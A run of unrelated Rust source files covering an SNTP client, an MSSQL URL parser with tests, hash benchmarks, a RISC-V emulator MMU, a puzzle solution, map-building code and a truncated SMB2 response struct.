```no_run /// use rsntp::AsyncSntpClient; /// /// let client = AsyncSntpClient::new(); /// ``` pub fn new() -> AsyncSntpClient { AsyncSntpClient { config: Config::default(), } } /// Creates a new instance with the specified configuration /// /// Only available when async feature is enabled (which is the default) /// /// # Example /// /// ```no_run /// use rsntp::{Config, AsyncSntpClient}; /// /// let client = AsyncSntpClient::with_config(Config::default()); /// ``` pub fn with_config(config: Config) -> AsyncSntpClient { AsyncSntpClient { config } } /// Synchronize with the server /// /// Only available when async feature is enabled (which is the default) /// /// Sends a request to the server and processes the reply. If no reply is received within timeout, /// then an error is returned. If the supplied server address resolves to multiple addresses, /// only the first one is used. /// /// # Example /// /// ```no_run /// use rsntp::{AsyncSntpClient, SynchronizationResult, SynchroniztationError}; /// /// async fn local_time() -> Result<SynchronizationResult, SynchroniztationError> { /// let client = AsyncSntpClient::new(); /// /// client.synchronize("pool.ntp.org").await /// } /// ``` pub async fn synchronize<A: ToServerAddrs>( &self, server_address: A, ) -> Result<SynchronizationResult, SynchroniztationError> { let mut receive_buffer = [0; Packet::ENCODED_LEN]; let socket = tokio::net::UdpSocket::bind(self.config.bind_address).await?; socket .connect(server_address.to_server_addrs(SNTP_PORT)) .await?; let request = Request::new(); socket.send(&request.as_bytes()).await?; let result_future = timeout(self.config.timeout, socket.recv_from(&mut receive_buffer)); let (bytes_received, server_address) = result_future.await.map_err(|_| { std::io::Error::new( std::io::ErrorKind::TimedOut, "Timeout while waiting for server reply", ) })??; let reply = Reply::new( request, Packet::from_bytes(&receive_buffer[..bytes_received], server_address)?, ); reply.process() } /// Sets synchronization timeout /// /// Sets the time which the client waits for a reply after the request has been sent. /// Default is 3 seconds. /// /// # Example /// /// ```no_run /// use rsntp::AsyncSntpClient; /// use std::time::Duration; /// /// let mut client = AsyncSntpClient::new(); /// client.set_timeout(Duration::from_secs(10)); /// ``` pub fn set_timeout(&mut self, timeout: Duration) { self.config.timeout = timeout; } /// Set UDP bind address /// /// Sets the local address which is used to send/receive UDP packets. By default, it is /// "0.0.0.0:0" which means that IPv4 address and port are chosen automatically. /// /// To synchronize with IPv6 servers, you might need to set it to an IPv6 address. /// /// # Example /// /// ```no_run /// use rsntp::AsyncSntpClient; /// /// let mut client = AsyncSntpClient::new(); /// client.set_bind_address("192.168.0.1:0".parse().unwrap()); /// ``` pub fn set_bind_address(&mut self, address: SocketAddr) { self.config.bind_address = address; } /// Set the configuration /// /// # Example /// /// ```no_run /// use rsntp::{Config, AsyncSntpClient}; /// /// let client = AsyncSntpClient::new(); /// let config = Config::default().bind_address("192.168.0.1:0".parse().unwrap()); /// ``` pub fn set_config(&mut self, config: Config) { self.config = config } } #[cfg(feature = "async")] impl Default for AsyncSntpClient { fn default() -> Self { AsyncSntpClient::new() } }
use crate::error::Error; use crate::mssql::MssqlConnectOptions; use percent_encoding::percent_decode_str; use std::str::FromStr; use url::Url; impl FromStr for MssqlConnectOptions { type Err = Error; fn from_str(s: &str) -> Result<Self, Self::Err> { let url: Url = s.parse().map_err(Error::config)?; let mut options = Self::new(); if let Some(host) = url.host_str() { options = options.host(host); } if let Some(port) = url.port() { options = options.port(port); } let username = url.username(); if !username.is_empty() { options = options.username( &*percent_decode_str(username) .decode_utf8() .map_err(Error::config)?, ); } if let Some(password) = url.password() { options = options.password( &*percent_decode_str(password) .decode_utf8() .map_err(Error::config)?, ); } let path = url.path().trim_start_matches('/'); if !path.is_empty() { options = options.database(path); } Ok(options) } } #[test] fn it_parses_username_with_at_sign_correctly() { let url = "mysql://user@hostname:password@hostname:5432/database"; let opts = MssqlConnectOptions::from_str(url).unwrap(); assert_eq!("user@hostname", &opts.username); } #[test] fn it_parses_password_with_non_ascii_chars_correctly() { let url = "mysql://username:p@ssw0rd@hostname:5432/database"; let opts = MssqlConnectOptions::from_str(url).unwrap(); assert_eq!(Some("p@ssw0rd".into()), opts.password); }
#![feature(test)] extern crate blake2_rfc; extern crate blake2 as rust_blake2; extern crate crypto as rust_crypto; extern crate libb2_sys; extern crate libc; extern crate test; #[cfg(test)] mod bench_blake2_rfc { use test::Bencher; fn bench_blake2b(data: &[u8], b: &mut Bencher) { use blake2_rfc::blake2b::Blake2b; b.bytes = data.len() as u64; b.iter(|| { let mut state = Blake2b::new(64); state.update(data); state.finalize() }) } #[bench] fn blake2b_16(b: &mut Bencher) { bench_blake2b(&[0; 16], b) } #[bench] fn blake2b_4096(b: &mut Bencher) { bench_blake2b(&[0; 4096], b) } #[bench] fn blake2b_65536(b: &mut Bencher) { bench_blake2b(&[0; 65536], b) } fn bench_blake2s(data: &[u8], b: &mut Bencher) { use blake2_rfc::blake2s::Blake2s; b.bytes = data.len() as u64; b.iter(|| { let mut state = Blake2s::new(32); state.update(data); state.finalize() }) } #[bench] fn blake2s_16(b: &mut Bencher) { bench_blake2s(&[0; 16], b) } #[bench] fn blake2s_4096(b: &mut Bencher) { bench_blake2s(&[0; 4096], b) } #[bench] fn blake2s_65536(b: &mut Bencher) { bench_blake2s(&[0; 65536], b) } } #[cfg(test)] mod bench_rust_blake2 { use test::Bencher; fn bench_blake2b(data: &[u8], b: &mut Bencher) { use rust_blake2::Blake2b; b.bytes = data.len() as u64; b.iter(|| { let mut state = Blake2b::new(64); state.update(data); let mut result = [0; 64]; state.finalize(&mut result); result }) } #[bench] fn blake2b_16(b: &mut Bencher) { bench_blake2b(&[0; 16], b) } #[bench] fn blake2b_4096(b: &mut Bencher) { bench_blake2b(&[0; 4096], b) } #[bench] fn blake2b_65536(b: &mut Bencher) { bench_blake2b(&[0; 65536], b) } fn bench_blake2s(data: &[u8], b: &mut Bencher) { use rust_blake2::Blake2s; b.bytes = data.len() as u64; b.iter(|| { let mut state = Blake2s::new(32); state.update(data); let mut result = [0; 32]; state.finalize(&mut result); result }) } #[bench] fn blake2s_16(b: &mut Bencher) { bench_blake2s(&[0; 16], b) } #[bench] fn blake2s_4096(b: &mut Bencher) { bench_blake2s(&[0; 4096], b) } #[bench] fn blake2s_65536(b: &mut Bencher) { bench_blake2s(&[0; 65536], b) } } #[cfg(test)] mod bench_rust_crypto { use test::Bencher; fn bench_blake2b(data: &[u8], b: &mut Bencher) { use rust_crypto::blake2b::Blake2b; use rust_crypto::digest::Digest; b.bytes = data.len() as u64; b.iter(|| { let mut state = Blake2b::new(64); state.input(data); let mut result = [0; 64]; state.result(&mut result); result }) } #[bench] fn blake2b_16(b: &mut Bencher) { bench_blake2b(&[0; 16], b) } #[bench] fn blake2b_4096(b: &mut Bencher) { bench_blake2b(&[0; 4096], b) } #[bench] fn blake2b_65536(b: &mut Bencher) { bench_blake2b(&[0; 65536], b) } } #[cfg(test)] mod bench_libb2_sys { use libc::size_t; use std::mem; use test::Bencher; fn bench_blake2b(data: &[u8], b: &mut Bencher) { use libb2_sys::{blake2b_state, blake2b_init, blake2b_update, blake2b_final}; b.bytes = data.len() as u64; b.iter(|| unsafe { let mut state = mem::uninitialized::<blake2b_state>(); assert_eq!(blake2b_init(&mut state, 64), 0); assert_eq!(blake2b_update(&mut state, data.as_ptr(), data.len() as size_t), 0); let mut result = [0; 64]; assert_eq!(blake2b_final(&mut state, result.as_mut_ptr(), result.len() as size_t), 0); result }) } #[bench] fn blake2b_16(b: &mut Bencher) { bench_blake2b(&[0; 16], b) } #[bench] fn blake2b_4096(b: &mut Bencher) { bench_blake2b(&[0; 4096], b) } #[bench] fn blake2b_65536(b: &mut Bencher) { bench_blake2b(&[0; 65536], b) } fn bench_blake2s(data: &[u8], b: &mut Bencher) { use libb2_sys::{blake2s_state, blake2s_init, blake2s_update, blake2s_final}; b.bytes = data.len() as u64; b.iter(|| unsafe { let mut state = mem::uninitialized::<blake2s_state>(); assert_eq!(blake2s_init(&mut state, 32), 0); assert_eq!(blake2s_update(&mut state, data.as_ptr(), data.len() as size_t), 0); let mut result = [0; 32]; assert_eq!(blake2s_final(&mut state, result.as_mut_ptr(), result.len() as size_t), 0); result }) } #[bench] fn blake2s_16(b: &mut Bencher) { bench_blake2s(&[0; 16], b) } #[bench] fn blake2s_4096(b: &mut Bencher) { bench_blake2s(&[0; 4096], b) } #[bench] fn blake2s_65536(b: &mut Bencher) { bench_blake2s(&[0; 65536], b) } }
use crate::models::DieselResult; use crate::schema::*; use crate::MySqlPooledConnection; #[derive(Debug, Clone, Queryable, Insertable)] #[diesel(table_name = hashes)] pub struct Hash { pub sha256: String, pub md5: String, } impl Hash { pub fn all(connection: &mut MySqlPooledConnection) -> DieselResult<Vec<Self>> { use crate::schema::hashes::dsl::*; hashes.load(connection) } }
use sha1::{Digest, Sha1}; use std::borrow::Cow; use std::{env, fs, io}; use walkdir::WalkDir; /// Get the filename of an entry from a directory walk, with backslashes replaced with forward slashes fn unixy_filename_of(entry: &walkdir::DirEntry) -> String { return entry.path().display().to_string().replace("\\", "/"); } fn output_file_err(path: &str, err: &str) { println!("Error:{err} {path}", err = err, path = path); } fn main() { let args: Vec<_> = env::args().collect(); if args.len() != 2 { eprintln!("Error: expecting exactly 1 argument"); eprintln!("Usage: {} DIRECTORY", args[0]); eprintln!("\n DIRECTORY Root directory to start sha1 summing from"); } let root = args.get(1).expect("first argument must be root path"); for entry in WalkDir::new(root).same_file_system(true) { let entry = entry.expect("able to read file"); if entry.file_type().is_file() { let path = unixy_filename_of(&entry); match fs::File::open(entry.path()) { Ok(mut file) => { let mut hasher = Sha1::new(); if let Err(err) = io::copy(&mut file, &mut hasher) { let err_msg = format!("{err:?}", err = err); output_file_err(&path, &err_msg); } else { let result = hasher.result(); println!( "{hash:x} {path}", hash = result, path = unixy_filename_of(&entry) ); } } Err(err) => { let tip = if path.len() > 260 { // path is longer than normal windows limit - long path support might need to be enabled Some(Cow::from(format!("NB: path length of {len} is greater than 260 limit; you might need to enable the 'Enable Win32 long paths' group policy setting", len = path.len()))) } else { None }; let err_msg = format!( "{err:?}{tip}", err = err, tip = tip.unwrap_or(Cow::from("")) ); output_file_err(&path, &err_msg); } } } } }
const DTB_ADDRESS_RANGE: [usize; 2] = [0x1020, 0x1fff]; use memory::Memory; use cpu::{PrivilegeMode, Trap, TrapType, Xlen}; use device::virtio_block_disk::VirtioBlockDisk; use device::plic::Plic; use device::clint::Clint; use device::uart::Uart; use terminal::Terminal; pub struct Mmu { clock: u64, xlen: Xlen, ppn: u64, addressing_mode: AddressingMode, privilege_mode: PrivilegeMode, memory: Memory, dtb: Vec<u8>, disk: VirtioBlockDisk, plic: Plic, clint: Clint, uart: Uart } pub enum AddressingMode { None, SV32, SV39, SV48 // @TODO: Implement } enum MemoryAccessType { Execute, Read, Write, DontCare } fn _get_addressing_mode_name(mode: &AddressingMode) -> &'static str { match mode { AddressingMode::None => "None", AddressingMode::SV32 => "SV32", AddressingMode::SV39 => "SV39", AddressingMode::SV48 => "SV48" } } impl Mmu { pub fn new(xlen: Xlen, terminal: Box<dyn Terminal>) -> Self { Mmu { clock: 0, xlen: xlen, ppn: 0, addressing_mode: AddressingMode::None, privilege_mode: PrivilegeMode::Machine, memory: Memory::new(), dtb: vec![], disk: VirtioBlockDisk::new(), plic: Plic::new(), clint: Clint::new(), uart: Uart::new(terminal) } } pub fn update_xlen(&mut self, xlen: Xlen) { self.xlen = xlen; } pub fn init_memory(&mut self, capacity: u64) { self.memory.init(capacity); } pub fn init_disk(&mut self, data: Vec<u8>) { self.disk.init(data); } pub fn init_dtb(&mut self, data: Vec<u8>) { println!("DTB SIZE:{:X}", data.len()); for i in 0..data.len() { self.dtb.push(data[i]); } while DTB_ADDRESS_RANGE[0] + self.dtb.len() <= DTB_ADDRESS_RANGE[1] { self.dtb.push(0); } } pub fn tick(&mut self, mip: &mut u64) { self.clint.tick(mip); self.disk.tick(&mut self.memory); self.uart.tick(); self.plic.tick(self.disk.is_interrupting(), self.uart.is_interrupting(), mip); self.clock = self.clock.wrapping_add(1); } pub fn update_addressing_mode(&mut self, new_addressing_mode: AddressingMode) { self.addressing_mode = new_addressing_mode; } pub fn update_privilege_mode(&mut self, mode: PrivilegeMode) { self.privilege_mode = mode; } pub fn update_ppn(&mut self, ppn: u64) { self.ppn = ppn; } fn get_effective_address(&self, address: u64) -> u64 { match self.xlen { Xlen::Bit32 => address & 0xffffffff, Xlen::Bit64 => address } } pub fn fetch(&mut self, v_address: u64) -> Result<u8, Trap> { let effective_address = self.get_effective_address(v_address); let p_address = match self.translate_address(effective_address, MemoryAccessType::Execute) { Ok(address) => address, Err(()) => return Err(Trap { trap_type: TrapType::InstructionPageFault, value: v_address }) }; Ok(self.load_raw(p_address)) } fn fetch_bytes(&mut self, v_address: u64, width: u64) -> Result<u64, Trap> { let mut data = 0 as u64; match (v_address & 0xfff) <= (0x1000 - width) { true => { let effective_address = self.get_effective_address(v_address); let p_address = match self.translate_address(effective_address, MemoryAccessType::Execute) { Ok(address) => address, Err(()) => return Err(Trap { trap_type: TrapType::InstructionPageFault, value: v_address }) }; for i in 0..width { data |= (self.load_raw(p_address.wrapping_add(i) as u64) as u64) << (i * 8); } }, false => { for i in 0..width { match self.fetch(v_address.wrapping_add(i)) { Ok(byte) => { data |= (byte as u64) << (i * 8) }, Err(e) => return Err(e) }; } } } Ok(data) } pub fn fetch_word(&mut self, v_address: u64) -> Result<u32, Trap> { match self.fetch_bytes(v_address, 4) { Ok(data) => Ok(data as u32), Err(e) => Err(e) } } pub fn load(&mut self, v_address: u64) -> Result<u8, Trap> { let effective_address = self.get_effective_address(v_address); let p_address = match self.translate_address(effective_address, MemoryAccessType::Read) { Ok(address) => address, Err(()) => return Err(Trap { trap_type: TrapType::LoadPageFault, value: v_address }) }; Ok(self.load_raw(p_address)) } fn load_bytes(&mut self, v_address: u64, width: u64) -> Result<u64, Trap> { let mut data = 0 as u64; match (v_address & 0xfff) <= (0x1000 - width) { true => { let effective_address = self.get_effective_address(v_address); let p_address = match self.translate_address(effective_address, MemoryAccessType::Read) { Ok(address) => address, Err(()) => return Err(Trap { trap_type: TrapType::LoadPageFault, value: v_address }) }; for i in 0..width { data |= (self.load_raw(p_address.wrapping_add(i) as u64) as u64) << (i * 8); } }, false => { for i in 0..width { match self.load(v_address.wrapping_add(i)) { Ok(byte) => { data |= (byte as u64) << (i * 8) }, Err(e) => return Err(e) }; } } } Ok(data) } pub fn load_halfword(&mut self, v_address: u64) -> Result<u16, Trap> { match self.load_bytes(v_address, 2) { Ok(data) => Ok(data as u16), Err(e) => Err(e) } } pub fn load_word(&mut self, v_address: u64) -> Result<u32, Trap> { match self.load_bytes(v_address, 4) { Ok(data) => Ok(data as u32), Err(e) => Err(e) } } pub fn load_doubleword(&mut self, v_address: u64) -> Result<u64, Trap> { match self.load_bytes(v_address, 8) { Ok(data) => Ok(data as u64), Err(e) => Err(e) } } pub fn store(&mut self, v_address: u64, value: u8) -> Result<(), Trap> { let effective_address = self.get_effective_address(v_address); let p_address = match self.translate_address(effective_address, MemoryAccessType::Write) { Ok(address) => address, Err(()) => return Err(Trap { trap_type: TrapType::StorePageFault, value: v_address }) }; self.store_raw(p_address, value); Ok(()) } fn store_bytes(&mut self, v_address: u64, value: u64, width: u64) -> Result<(), Trap> { match (v_address & 0xfff) <= (0x1000 - width) { true => { let effective_address = self.get_effective_address(v_address); let p_address = match self.translate_address(effective_address, MemoryAccessType::Write) { Ok(address) => address, Err(()) => return Err(Trap { trap_type: TrapType::StorePageFault, value: v_address }) }; for i in 0..width { self.store_raw(p_address.wrapping_add(i), ((value >> (i * 8)) & 0xff) as u8); } }, false => { for i in 0..width { match self.store(v_address.wrapping_add(i), ((value >> (i * 8)) & 0xff) as u8) { Ok(()) => {}, Err(e) => return Err(e) } } } } Ok(()) } pub fn store_halfword(&mut self, v_address: u64, value: u16) -> Result<(), Trap> { self.store_bytes(v_address, value as u64, 2) } pub fn store_word(&mut self, v_address: u64, value: u32) -> Result<(), Trap> { self.store_bytes(v_address, value as u64, 4) } pub fn store_doubleword(&mut self, v_address: u64, value: u64) -> Result<(), Trap> { self.store_bytes(v_address, value as u64, 8) } pub fn load_raw(&mut self, address: u64) -> u8 { let effective_address = self.get_effective_address(address); // @TODO: Mapping should be configurable with dtb match address { // I don't know why but dtb data seems to be stored from 0x1020 on Linux. // It might be from self.x[0xb] initialization? // And DTB size is arbitray. 0x00001020..=0x00001fff => self.dtb[address as usize - 0x1020], 0x02000000..=0x0200ffff => self.clint.load(effective_address), 0x0C000000..=0x0fffffff => self.plic.load(effective_address), 0x10000000..=0x100000ff => self.uart.load(effective_address), 0x10001000..=0x10001FFF => self.disk.load(effective_address), _ => { self.memory.read_byte(effective_address) } } } pub fn load_word_raw(&mut self, address: u64) -> u32 { let mut data = 0 as u32; for i in 0..4 { data |= (self.load_raw(address.wrapping_add(i)) as u32) << (i * 8) } data } pub fn load_doubleword_raw(&mut self, address: u64) -> u64 { let mut data = 0 as u64; for i in 0..8 { data |= (self.load_raw(address.wrapping_add(i)) as u64) << (i * 8) } data } pub fn store_raw(&mut self, address: u64, value: u8) { let effective_address = self.get_effective_address(address); // @TODO: Mapping should be configurable with dtb match address { 0x02000000..=0x0200ffff => self.clint.store(effective_address, value), 0x0c000000..=0x0fffffff => self.plic.store(effective_address, value), 0x10000000..=0x100000ff => self.uart.store(effective_address, value), 0x10001000..=0x10001FFF => self.disk.store(effective_address, value), _ => self.memory.write_byte(effective_address, value) }; } pub fn store_word_raw(&mut self, address: u64, value: u32) { for i in 0..4 { self.store_raw(address.wrapping_add(i), ((value >> (i * 8)) & 0xff) as u8); } } pub fn store_doubleword_raw(&mut self, address: u64, value: u64) { for i in 0..8 { self.store_raw(address.wrapping_add(i), ((value >> (i * 8)) & 0xff) as u8); } } pub fn validate_address(&mut self, v_address: u64) -> Result<bool, ()> { // @TODO: Support other access types? let p_address = match self.translate_address(v_address, MemoryAccessType::DontCare) { Ok(address) => address, Err(()) => return Err(()) }; let effective_address = self.get_effective_address(p_address); let valid = match effective_address { 0x00001020..=0x00001fff => true, 0x02000000..=0x0200ffff => true, 0x0C000000..=0x0fffffff => true, 0x10000000..=0x100000ff => true, 0x10001000..=0x10001FFF => true, _ => self.memory.validate_address(effective_address) }; Ok(valid) } fn translate_address(&mut self, address: u64, access_type: MemoryAccessType) -> Result<u64, ()> { match self.addressing_mode { AddressingMode::None => Ok(address), AddressingMode::SV32 => match self.privilege_mode { PrivilegeMode::User | PrivilegeMode::Supervisor => { let vpns = [(address >> 12) & 0x3ff, (address >> 22) & 0x3ff]; self.traverse_page(address, 2 - 1, self.ppn, &vpns, access_type) }, _ => Ok(address) }, AddressingMode::SV39 => match self.privilege_mode { PrivilegeMode::User | PrivilegeMode::Supervisor => { let vpns = [(address >> 12) & 0x1ff, (address >> 21) & 0x1ff, (address >> 30) & 0x1ff]; self.traverse_page(address, 3 - 1, self.ppn, &vpns, access_type) }, _ => Ok(address) }, AddressingMode::SV48 => { panic!("AddressingMode SV48 is not supported yet."); } } } fn traverse_page(&mut self, v_address: u64, level: u8, parent_ppn: u64, vpns: &[u64], access_type: MemoryAccessType) -> Result<u64, ()> { let pagesize = 4096; let ptesize = match self.addressing_mode { AddressingMode::SV32 => 4, _ => 8 }; let pte_address = parent_ppn * pagesize + vpns[level as usize] * ptesize; let pte = match self.addressing_mode { AddressingMode::SV32 => self.load_word_raw(pte_address) as u64, _ => self.load_doubleword_raw(pte_address) }; let ppn = match self.addressing_mode { AddressingMode::SV32 => (pte >> 10) & 0x3fffff, _ => (pte >> 10) & 0xfffffffffff }; let ppns = match self.addressing_mode { AddressingMode::SV32 => [(pte >> 10) & 0x3ff, (pte >> 20) & 0xfff, 0 /*dummy*/], AddressingMode::SV39 => [(pte >> 10) & 0x1ff, (pte >> 19) & 0x1ff, (pte >> 28) & 0x3ffffff], _ => panic!() // Shouldn't happen }; let _rsw = (pte >> 8) & 0x3; let d = (pte >> 7) & 1; let a = (pte >> 6) & 1; let _g = (pte >> 5) & 1; let _u = (pte >> 4) & 1; let x = (pte >> 3) & 1; let w = (pte >> 2) & 1; let r = (pte >> 1) & 1; let v = pte & 1; // println!("VA:{:X} Level:{:X} PTE_AD:{:X} PTE:{:X} PPPN:{:X} PPN:{:X} PPN1:{:X} PPN0:{:X}", v_address, level, pte_address, pte, parent_ppn, ppn, ppns[1], ppns[0]); if v == 0 || (r == 0 && w == 1) { return Err(()); } if r == 0 && x == 0 { return match level { 0 => Err(()), _ => self.traverse_page(v_address, level - 1, ppn, vpns, access_type) }; } // Leaf page found if a == 0 || (match access_type { MemoryAccessType::Write => d == 0, _ => false }) { let new_pte = pte | (1 << 6) | (match access_type { MemoryAccessType::Write => 1 << 7, _ => 0 }); match self.addressing_mode { AddressingMode::SV32 => self.store_word_raw(pte_address, new_pte as u32), _ => self.store_doubleword_raw(pte_address, new_pte) }; } match access_type { MemoryAccessType::Execute => { if x == 0 { return Err(()); } }, MemoryAccessType::Read => { if r == 0 { return Err(()); } }, MemoryAccessType::Write => { if w == 0 { return Err(()); } }, _ => {} }; let offset = v_address & 0xfff; // [11:0] // @TODO: Optimize let p_address = match self.addressing_mode { AddressingMode::SV32 => match level { 1 => { if ppns[0] != 0 { return Err(()); } (ppns[1] << 22) | (vpns[0] << 12) | offset }, 0 => (ppn << 12) | offset, _ => panic!() // Shouldn't happen }, _ => match level { 2 => { if ppns[1] != 0 || ppns[0] != 0 { return Err(()); } (ppns[2] << 30) | (vpns[1] << 21) | (vpns[0] << 12) | offset }, 1 => { if ppns[0] != 0 { return Err(()); } (ppns[2] << 30) | (ppns[1] << 21) | (vpns[0] << 12) | offset }, 0 => (ppn << 12) | offset, _ => panic!() // Shouldn't happen }, }; // println!("PA:{:X}", p_address); Ok(p_address) } pub fn get_clint(&self) -> &Clint { &self.clint } pub fn get_mut_clint(&mut self) -> &mut Clint { &mut self.clint } pub fn get_mut_uart(&mut self) -> &mut Uart { &mut self.uart } }
use crate::utils; use std::io; #[derive(Debug)] struct Entry { min: i32, max: i32, letter: char, password: String, } fn read_problem_data() -> io::Result<Vec<Entry>> { let mut result = Vec::new(); if let Ok(lines) = utils::read_lines("data/day2.txt") { for line in lines { if let Ok(s) = line { let data: Vec<&str> = s.split(' ').collect(); let min_max: Vec<&str> = data[0].split("-").collect(); result.push(Entry { min: min_max[0].parse::<i32>().unwrap(), max: min_max[1].parse::<i32>().unwrap(), letter: data[1].as_bytes()[0] as char, password: String::from(data[2]), }); } } } Ok(result) } #[allow(dead_code)] pub fn problem1() { println!("running problem 2a:"); fn is_entry_valid(entry: &Entry) -> bool { let mut count = 0; for c in entry.password.chars() { if c == entry.letter { count += 1; } } return entry.min <= count && count <= entry.max; } let mut num_valid = 0; if let Ok(entries) = read_problem_data() { for entry in entries { if is_entry_valid(&entry) { num_valid += 1; } } } println!("Found {} valid entries", num_valid); } #[allow(dead_code)] pub fn problem2() { println!("running problem 2b:"); fn is_entry_valid(entry: &Entry) -> bool { let chars: Vec<char> = entry.password.chars().collect(); let i = (entry.min - 1) as usize; let j = (entry.max - 1) as usize; if chars[i] == entry.letter { return chars[j] != entry.letter; } if chars[i] != entry.letter { return chars[j] == entry.letter; } return false; } let mut num_valid = 0; if let Ok(entries) = read_problem_data() { for entry in entries { if is_entry_valid(&entry) { num_valid += 1; } } } println!("Found {} valid entries", num_valid); }
use crate::{ make, raw_data, Area, AreaID, Building, Intersection, IntersectionID, IntersectionType, Lane, LaneID, Road, RoadID, Turn, TurnID, LANE_THICKNESS, }; use abstutil::Timer; use geom::{Bounds, Polygon}; use std::collections::BTreeMap; pub struct HalfMap { pub roads: Vec<Road>, pub lanes: Vec<Lane>, pub intersections: Vec<Intersection>, pub turns: BTreeMap<TurnID, Turn>, pub buildings: Vec<Building>, pub areas: Vec<Area>, pub turn_lookup: Vec<TurnID>, } pub fn make_half_map( data: &raw_data::Map, initial_map: make::InitialMap, bounds: &Bounds, timer: &mut Timer, ) -> HalfMap { let mut half_map = HalfMap { roads: Vec::new(), lanes: Vec::new(), intersections: Vec::new(), turns: BTreeMap::new(), buildings: Vec::new(), areas: Vec::new(), turn_lookup: Vec::new(), }; let road_id_mapping: BTreeMap<raw_data::StableRoadID, RoadID> = initial_map .roads .keys() .enumerate() .map(|(idx, id)| (*id, RoadID(idx))) .collect(); let mut intersection_id_mapping: BTreeMap<raw_data::StableIntersectionID, IntersectionID> = BTreeMap::new(); for (idx, i) in initial_map.intersections.values().enumerate() { let raw_i = &data.intersections[&i.id]; let id = IntersectionID(idx); half_map.intersections.push(Intersection { id, // IMPORTANT! We're relying on the triangulation algorithm not to mess with the order // of the points. Sidewalk corner rendering depends on it later. polygon: Polygon::new(&i.polygon), turns: Vec::new(), // Might change later intersection_type: i.intersection_type, label: raw_i.label.clone(), stable_id: i.id, incoming_lanes: Vec::new(), outgoing_lanes: Vec::new(), roads: i.roads.iter().map(|id| road_id_mapping[id]).collect(), }); intersection_id_mapping.insert(i.id, id); } timer.start_iter("expand roads to lanes", initial_map.roads.len()); for r in initial_map.roads.values() { timer.next(); let osm_way_id = data.roads[&r.id].osm_way_id; let road_id = road_id_mapping[&r.id]; let i1 = intersection_id_mapping[&r.src_i]; let i2 = intersection_id_mapping[&r.dst_i]; let mut road = Road { id: road_id, osm_tags: r.osm_tags.clone(), turn_restrictions: Vec::new(), osm_way_id, stable_id: r.id, children_forwards: Vec::new(), children_backwards: Vec::new(), center_pts: r.trimmed_center_pts.clone(), src_i: i1, dst_i: i2, }; for stable_id in &r.override_turn_restrictions_to { road.turn_restrictions .push(("no_anything".to_string(), road_id_mapping[stable_id])); } for lane in &r.lane_specs { let id = LaneID(half_map.lanes.len()); let (src_i, dst_i) = if lane.reverse_pts { (i2, i1) } else { (i1, i2) }; half_map.intersections[src_i.0].outgoing_lanes.push(id); half_map.intersections[dst_i.0].incoming_lanes.push(id); let (unshifted_pts, offset) = if lane.reverse_pts { road.children_backwards.push((id, lane.lane_type)); ( road.center_pts.reversed(), road.children_backwards.len() - 1, ) } else { road.children_forwards.push((id, lane.lane_type)); (road.center_pts.clone(), road.children_forwards.len() - 1) }; // TODO probably different behavior for oneways // TODO need to factor in yellow center lines (but what's the right thing to even do? // Reverse points for British-style driving on the left let width = LANE_THICKNESS * (0.5 + (offset as f64)); let lane_center_pts = unshifted_pts .shift_right(width) .with_context(timer, format!("shift for {}", id)); half_map.lanes.push(Lane { id, lane_center_pts, src_i, dst_i, lane_type: lane.lane_type, parent: road_id, building_paths: Vec::new(), bus_stops: Vec::new(), parking_blackhole: None, }); } if road.get_name() == "???" { timer.warn(format!( "{} has no name. Tags: {:?}", road.id, road.osm_tags )); } half_map.roads.push(road); } let mut filtered_restrictions = Vec::new(); for r in &half_map.roads { if let Some(restrictions) = data.turn_restrictions.get(&r.osm_way_id) { for (restriction, to) in restrictions { // Make sure the restriction actually applies to this road. if let Some(to_road) = half_map.intersections[r.src_i.0] .roads .iter() .chain(half_map.intersections[r.dst_i.0].roads.iter()) .find(|r| half_map.roads[r.0].osm_way_id == *to) { filtered_restrictions.push((r.id, restriction, to_road)); } } } } for (from, restriction, to) in filtered_restrictions { half_map.roads[from.0] .turn_restrictions .push((restriction.to_string(), *to)); } for i in half_map.intersections.iter_mut() { if is_border(i, &half_map.lanes) { i.intersection_type = IntersectionType::Border; continue; } if i.incoming_lanes.is_empty() || i.outgoing_lanes.is_empty() { timer.warn(format!("{:?} is orphaned!", i)); continue; } for t in make::turns::make_all_turns(i, &half_map.roads, &half_map.lanes, timer) { assert!(!half_map.turns.contains_key(&t.id)); i.turns.push(t.id); half_map.turns.insert(t.id, t); } } for t in half_map.turns.values_mut() { t.lookup_idx = half_map.turn_lookup.len(); half_map.turn_lookup.push(t.id); if t.geom.length() < geom::EPSILON_DIST { timer.warn(format!("u{} is a very short turn", t.lookup_idx)); } } make::make_all_buildings( &mut half_map.buildings, &data.buildings, &bounds, &half_map.lanes, &half_map.roads, timer, ); for b in &half_map.buildings { let lane = b.sidewalk(); // TODO Could be more performant and cleanly written let mut bldgs = half_map.lanes[lane.0].building_paths.clone(); bldgs.push(b.id); bldgs.sort_by_key(|b| half_map.buildings[b.0].front_path.sidewalk.dist_along()); half_map.lanes[lane.0].building_paths = bldgs; } for (idx, a) in data.areas.iter().enumerate() { half_map.areas.push(Area { id: AreaID(idx), area_type: a.area_type, polygon: a.polygon.clone(), osm_tags: a.osm_tags.clone(), osm_id: a.osm_id, }); } half_map } fn is_border(intersection: &Intersection, lanes: &Vec<Lane>) -> bool { // Raw data said it is. if intersection.is_border() { return true; } // This only detects one-way borders! Two-way ones will just look like dead-ends. // Bias for driving if intersection.roads.len() != 1 { return false; } let has_driving_in = intersection .incoming_lanes .iter() .any(|l| lanes[l.0].is_driving()); let has_driving_out = intersection .outgoing_lanes .iter() .any(|l| lanes[l.0].is_driving()); has_driving_in != has_driving_out }
//! This module implements the session setup response. //! The SMB2 SESSION_SETUP Response packet is sent by the server in response to an SMB2 SESSION_SETUP Request packet. //! This response is composed of an SMB2 header that is followed by this response structure: /// session setup request size of 25 bytes const STRUCTURE_SIZE: &[u8; 2] = b"\x09\x00"; /// The SMB2 SESSION_SETUP Response packet is sent by the server in response to an SMB2 SESSION_SETUP Request packet. /// This response is composed of an SMB2 header, that is followed by this response structure. #[derive(Debug, PartialEq, Eq, Clone)] pub struct SessionSetup { /// StructureSize (2 bytes): The server MUST set this to 9, /// indicating the size of the fixed part of the response structure not including the header. /// The server MUST set it to this value regardless of how long Buffer[] actually is in the response. pub structure_size: Vec<u8>, /// SessionFlags (2 bytes): A flags field that indicates additional information about the session. /// This field MUST contain either 0 or one of the session flags. pub session_flags: Option<SessionFlags>, /// SecurityBufferOffset (2 bytes): The offset, in bytes, from the beginning of the /// SMB 2 Protocol header to the security buffer. pub security_buffer_offset: Vec<u8>, /// SecurityBufferLength (2 bytes): The length, in bytes, of the security buffer. pub 